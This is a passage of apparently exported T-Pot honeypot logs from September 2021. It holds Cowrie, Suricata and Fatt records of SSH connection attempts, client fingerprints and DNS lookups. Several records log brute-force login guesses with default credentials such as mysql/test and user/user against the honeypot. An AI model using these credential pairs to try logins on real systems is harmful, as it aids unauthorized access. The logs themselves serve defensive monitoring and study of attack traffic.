"timestamp": "2021-09-20T12:13:13.000552Z", "@timestamp": "2021-09-20T12:13:13.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36222	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:13:13.56078+03	2021-09-20 15:15:04.294691+03	{"_id": "TQYfA3wBvYTbRNuE5GHd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2324, "dest_port": 22, "timestamp": "2021-09-20T12:13:13.560780", "@timestamp": "2021-09-20T12:13:13.560Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36223	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:13:14.781636+03	2021-09-20 15:15:04.296721+03	{"_id": "UAYfA3wBvYTbRNuE6mGc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [mysql/test] failed", "session": "c356669a9113", "@version": "1", "password": "test", "username": "mysql", "timestamp": "2021-09-20T12:13:14.781636Z", "@timestamp": "2021-09-20T12:13:14.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36224	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:13:16.065455+03	2021-09-20 15:15:04.297691+03	{"_id": "UQYfA3wBvYTbRNuE7mGF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c356669a9113", "@version": "1", "duration": 2.7876737117767334, "timestamp": "2021-09-20T12:13:16.065455Z", "@timestamp": "2021-09-20T12:13:16.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36343	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:13:54.683765+03	2021-09-20 15:15:04.45869+03	{"_id": "9AYgA3wBvYTbRNuEg2EI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.219:61082 (192.168.176.2:22) [session: a67675d21ed4]", "session": "a67675d21ed4", "@version": "1", "protocol": "ssh", "src_port": 61082, "dest_port": 22, "timestamp": "2021-09-20T12:13:54.683765Z", "@timestamp": "2021-09-20T12:13:54.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
36225	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 15:13:08.669949+03	2021-09-20 15:15:04.299725+03	{"_id": "IQYfA3wBvYTbRNuEz2FA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "0bc0c7954ef5", "@version": "1", "timestamp": "2021-09-20T12:13:08.669949Z", "@timestamp": "2021-09-20T12:13:08.669Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36226	81.71.17.12	109.199.241.180	Suricata	2021-09-20 15:13:08.666677+03	2021-09-20 15:15:04.30072+03	{"_id": "JQYfA3wBvYTbRNuE0GFa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "flow_id": 1577223573525347, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53186, "dest_port": 22, "timestamp": "2021-09-20T12:13:08.666677Z", "@timestamp": "2021-09-20T12:13:08.666Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36227	81.71.17.12	109.199.241.180	Fatt	2021-09-20 15:13:08.669298+03	2021-09-20 15:15:04.301722+03	{"_id": "KAYfA3wBvYTbRNuE0WFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 53186, "dest_port": 22, "timestamp": "2021-09-20T12:13:08.669298", "@timestamp": "2021-09-20T12:13:08.669Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36228	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 15:13:09.866643+03	2021-09-20 15:15:04.302719+03	{"_id": "KQYfA3wBvYTbRNuE12EP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.login.failed", "message": "login attempt [bc/bc] failed", "session": "0bc0c7954ef5", "@version": "1", "password": "bc", "username": "bc", "timestamp": "2021-09-20T12:13:09.866643Z", "@timestamp": "2021-09-20T12:13:09.866Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36229	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:11.092895+03	2021-09-20 15:15:04.304727+03	{"_id": "KgYfA3wBvYTbRNuE2WEh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.37.43.243", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53270, "timestamp": "2021-09-20T12:13:11.092895", "@timestamp": "2021-09-20T12:13:11.092Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36230	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 15:13:11.091626+03	2021-09-20 15:15:04.305726+03	{"_id": "LwYfA3wBvYTbRNuE2mH4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.37.43.243:53270 (192.168.176.2:22) [session: b04890d67291]", "session": "b04890d67291", "@version": "1", "protocol": "ssh", "src_port": 53270, "dest_port": 22, "timestamp": "2021-09-20T12:13:11.091626Z", "@timestamp": "2021-09-20T12:13:11.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	JP
36231	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 15:13:11.364182+03	2021-09-20 15:15:04.306721+03	{"_id": "MgYfA3wBvYTbRNuE2mH4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "b04890d67291", "@version": "1", "timestamp": "2021-09-20T12:13:11.364182Z", "@timestamp": "2021-09-20T12:13:11.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	JP
36232	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:12.09004+03	2021-09-20 15:15:04.30872+03	{"_id": "NwYfA3wBvYTbRNuE3WFQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36232, "dest_port": 443, "timestamp": "2021-09-20T12:13:12.090040", "@timestamp": "2021-09-20T12:13:12.090Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36233	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 15:13:11.917101+03	2021-09-20 15:15:04.310725+03	{"_id": "PQYfA3wBvYTbRNuE3mHh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "b04890d67291", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:13:11.917101Z", "@timestamp": "2021-09-20T12:13:11.917Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	JP
36234	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:13:12.036255+03	2021-09-20 15:15:04.31172+03	{"_id": "PgYfA3wBvYTbRNuE32H8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 60113, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2221838035357087, "@version": "1", "in_iface": "enp5s0", "src_port": 34471, "dest_port": 53, "timestamp": "2021-09-20T12:13:12.036255Z", "@timestamp": "2021-09-20T12:13:12.036Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36235	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 15:13:13.471968+03	2021-09-20 15:15:04.312733+03	{"_id": "RgYfA3wBvYTbRNuE4mHL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "b04890d67291", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:13:13.471968Z", "@timestamp": "2021-09-20T12:13:13.471Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	JP
36236	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:13:13.56078+03	2021-09-20 15:15:04.314719+03	{"_id": "SwYfA3wBvYTbRNuE42Hl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:13:12.993116+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2151381244323676, "payload": 